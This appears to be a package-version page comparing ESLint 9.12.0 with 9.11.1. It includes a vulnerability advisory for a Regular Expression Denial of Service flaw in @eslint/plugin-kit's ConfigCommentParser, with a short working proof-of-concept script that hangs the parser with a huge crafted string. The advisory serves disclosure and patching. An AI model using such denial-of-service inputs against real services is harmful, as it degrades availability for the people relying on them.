ESLint 9.12.0 is the latest version of the popular JavaScript linting tool, building upon the solid foundation of version 9.11.1. While both versions share the core functionality of static code analysis for identifying and fixing coding style issues, potential bugs, and enforcing best practices, several updates in 9.12.0 make it a worthwhile upgrade.
A notable change is the update of dependencies, specifically espree which moving from 10.1.0 to 10.2.0 . Furthermore, the @eslint/js dependency has been updated from 9.11.1 to 9.12.0 to align with the main eslint package version. Developers may also find the increased file count and unpacked size of 9.12.0, implying more bundled features, updated rules or improved performance.
For developers leveraging ESLint within their projects, upgrading to 9.12.0 ensures access to the newest rule implementations, bug fixes, and potential performance enhancements. A bump on @eslint/js is crucial for any new features implemented by the ESLint team, and keeping the dependencies updated is always a good practice. While the magnitude of changes between the two versions might not be drastic, staying current with the latest release streamlines the development workflow and ensures consistent code quality.
All the vulnerabilities related to the version 9.12.0 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.